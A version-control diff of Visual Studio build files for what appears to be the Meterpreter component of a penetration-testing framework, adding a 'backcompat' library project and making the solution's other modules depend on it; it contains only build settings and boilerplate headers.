|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
</Link>
|
||||
<Lib>
|
||||
<IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
|
||||
</Lib>
|
||||
<Lib>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
</Lib>
|
||||
<Lib>
|
||||
<MinimumRequiredVersion>5.0</MinimumRequiredVersion>
|
||||
</Lib>
|
||||
<Lib>
|
||||
<LinkTimeCodeGeneration>false</LinkTimeCodeGeneration>
|
||||
<OutputFile>.\Release\backcompat.lib</OutputFile>
|
||||
</Lib>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="..\..\source\backcompat\backcompat.asm" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
|
@ -0,0 +1,22 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="..\..\source\backcompat\backcompat.asm">
|
||||
<Filter>Source Files</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
</Project>
|
|
@ -0,0 +1,3 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
</Project>
|
BIN
external/source/meterpreter/workspace/backcompat/backcompat/Release/backcompat.lib
vendored
Normal file
BIN
external/source/meterpreter/workspace/backcompat/backcompat/Release/backcompat.lib
vendored
Normal file
Binary file not shown.
|
@ -0,0 +1,8 @@
|
|||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// backcompat.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
|
@ -0,0 +1,14 @@
|
|||
// stdafx.h : include file for standard system include files,
|
||||
// or project specific include files that are used frequently, but
|
||||
// are changed infrequently
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||
|
||||
|
||||
|
||||
// TODO: reference additional headers your program requires here
|
|
@ -0,0 +1,11 @@
|
|||
#pragma once
|
||||
|
||||
// Including SDKDDKVer.h defines the highest available Windows platform.
|
||||
|
||||
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
|
||||
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
|
||||
|
||||
|
||||
#define _WIN32_WINNT 0x500
|
||||
|
||||
#include <SDKDDKVer.h>
|
|
@ -2,28 +2,64 @@
|
|||
Microsoft Visual Studio Solution File, Format Version 11.00
|
||||
# Visual Studio 2010
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "common", "common\common.vcxproj", "{9E4DE963-873F-4525-A7D0-CE34EDBBDCCA}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_priv", "ext_server_priv\ext_server_priv.vcxproj", "{87C64204-C82F-415D-AF45-D0B33BDFE39A}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_stdapi", "ext_server_stdapi\ext_server_stdapi.vcxproj", "{405245AB-0071-4CB9-BFBE-ED4E2A987EFF}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "metcli", "metcli\metcli.vcxproj", "{4DECF649-2B11-47A2-908E-031105D706F8}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "metsrv", "metsrv\metsrv.vcxproj", "{37E24F8F-1BD9-490B-8CD2-4768B89E5EAB}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ReflectiveDLLInjection", "ReflectiveDLLInjection\ReflectiveDLLInjection.vcxproj", "{72F0246A-A38D-4547-9057-46020E8E503D}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_incognito", "ext_server_incognito\ext_server_incognito.vcxproj", "{C427F6B9-C287-4BDA-A5BB-401FC19E207C}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_boiler", "ext_server_boiler\ext_server_boiler.vcxproj", "{488BE203-8407-42D1-B334-8B5C3BC5AB3E}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_espia", "ext_server_espia\ext_server_espia.vcxproj", "{CF56DDCC-505F-4D5C-AC2E-9787C7EF1504}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_sniffer", "ext_server_sniffer\ext_server_sniffer.vcxproj", "{BF0C0D6E-9119-4518-A3BC-2CF99C0E27D9}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "elevator", "elevator\elevator.vcxproj", "{662AFBB3-F64A-4AD1-8956-B9F1B846231C}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "screenshot", "screenshot\screenshot.vcxproj", "{09DF8FBC-EDFB-44E6-ACE6-9C0F5A60AB1C}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_pivot", "ext_server_pivot\ext_server_pivot.vcproj", "{C4801040-A3B8-11DF-811F-2A3AE0D72085}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
|
@ -33,6 +69,11 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_pivot", "ext_ser
|
|||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ext_server_lanattacks", "ext_server_lanattacks\ext_server_lanattacks.vcxproj", "{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}"
|
||||
ProjectSection(ProjectDependencies) = postProject
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F} = {C6FB3275-9067-4BBA-9206-0A720D2BC64F}
|
||||
EndProjectSection
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "backcompat", "backcompat\backcompat.vcxproj", "{C6FB3275-9067-4BBA-9206-0A720D2BC64F}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
|
@ -150,6 +191,12 @@ Global
|
|||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.Release|Win32.Build.0 = Release|Win32
|
||||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.Release|x64.ActiveCfg = Release|x64
|
||||
{2FCCCE33-77E9-43F3-928E-DBF6B9340A62}.Release|x64.Build.0 = Release|x64
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Debug|x64.ActiveCfg = Debug|Win32
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Release|Win32.Build.0 = Release|Win32
|
||||
{C6FB3275-9067-4BBA-9206-0A720D2BC64F}.Release|x64.ActiveCfg = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
|
|
Loading…
Reference in New Issue